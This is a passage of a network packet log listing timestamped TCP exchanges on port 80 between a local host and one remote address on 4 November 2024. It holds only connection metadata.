Nov 4, 2024 16:52:37.686538935 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686551094 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686557055 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686568022 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686573982 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686578989 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.686579943 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686585903 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686589956 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.686593056 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686598063 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686604023 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686610937 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686616898 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686620951 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.686624050 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686659098 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.686680079 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.686760902 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.698992968 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.701935053 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.710834026 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.710860014 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.710866928 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.710874081 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.710932016 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.710932016 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.719778061 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.719822884 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.719841957 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.719855070 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.719861031 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.719868898 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.719892979 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.719918013 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.719926119 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.719949961 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.719999075 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.720024109 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.720031023 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.720036983 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.720042944 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.720055103 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.720103979 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.732456923 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.732512951 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.732537031 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.732579947 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.732579947 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.732656002 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.763788939 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.763804913 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.763820887 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.763938904 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.763938904 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.764672041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.764748096 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.764799118 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.765054941 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.765062094 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.765094995 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.765101910 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.765121937 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.765192986 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.765207052 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.765213966 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.765219927 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.765227079 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.765245914 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.765253067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.765264034 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.765269995 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.765276909 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.765276909 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.765276909 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.765361071 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.765361071 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.782694101 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.782715082 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.782721996 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.782728910 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.782742977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.782831907 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.782831907 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.785144091 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.792987108 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793019056 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793032885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793039083 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793051958 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793059111 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793065071 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793116093 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793124914 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.793160915 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793167114 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793191910 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.793215036 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.793354034 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793422937 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793428898 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793495893 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793502092 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793508053 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.793514013 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793548107 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793554068 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793565989 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793576956 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.793648005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793653965 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793668032 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793677092 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793683052 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.793690920 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793695927 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793703079 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793713093 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.793720007 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793720007 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.793751955 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.793792009 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793798923 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793811083 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793817997 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793822050 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.793987036 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.793992996 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794003963 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794011116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794014931 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.794018030 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794023991 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794028997 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794039965 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794045925 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794050932 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.794050932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794056892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794068098 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.794075012 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794081926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794086933 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794092894 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794109106 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794115067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794118881 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.794121981 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794164896 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794176102 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794182062 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794183016 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.794188023 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794193983 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794199944 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794199944 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.794205904 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794260979 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.794260979 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.794415951 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794421911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794433117 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794439077 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794445038 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794456005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794461966 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794467926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794480085 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794487953 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794493914 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.794508934 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794513941 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.794514894 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794521093 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794532061 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794538975 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794544935 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.794558048 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794564962 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794576883 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794583082 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794585943 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.794589043 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794595003 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794601917 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794622898 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.794660091 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.794660091 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.794711113 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794718027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794723034 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794728994 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794734955 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794740915 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794753075 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794759035 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794763088 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.794766903 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794790030 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.794883013 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794888973 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794889927 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.794894934 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794900894 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794914961 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794920921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794939995 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794945955 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794956923 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.794969082 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.794969082 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.795006037 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.795006037 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.017014027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.017030001 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.017194033 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.118093014 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.118108988 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.118124008 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.118133068 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.118189096 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.118279934 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.169118881 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.169141054 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.169147968 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.169153929 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.169159889 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.169166088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.169178963 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.169184923 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.169256926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.169286013 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.169322014 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.169322968 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.220216036 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.220247030 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.220254898 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.220261097 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.220267057 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.220285892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.220292091 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.220304012 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.220308065 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.220319986 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.220325947 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.220339060 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.220345974 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.220347881 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.220359087 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.220361948 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.220365047 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.220447063 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.271070957 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271087885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271120071 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271133900 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271140099 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271151066 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271157026 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271169901 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271178007 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271179914 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.271193027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271197081 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271200895 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271213055 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271219015 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271223068 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271228075 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271236897 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271260023 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.271287918 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.271298885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271306992 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271332979 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271338940 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271353006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271359921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271365881 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271370888 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271384001 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.271481037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271487951 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271500111 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271505117 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271517038 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.271517038 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271523952 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271536112 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271542072 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271548033 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.271553993 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.271595001 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.271595001 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.322339058 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322364092 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322371006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322376966 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322384119 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322396040 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322406054 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322473049 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.322496891 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322504044 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322515965 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322515965 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.322515965 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.322520971 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322526932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322532892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322540045 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322573900 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.322596073 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322602034 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.322602034 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.322602987 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322614908 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322622061 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322627068 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322638988 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322644949 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322649956 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.322654963 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322669983 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322680950 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322686911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322691917 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322694063 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.322699070 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322705984 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322715998 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.322719097 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322726011 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322738886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322743893 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322748899 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.322750092 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322768927 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.322791100 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322798014 CET	80	59474	89.40.31.232	192.168.2.6
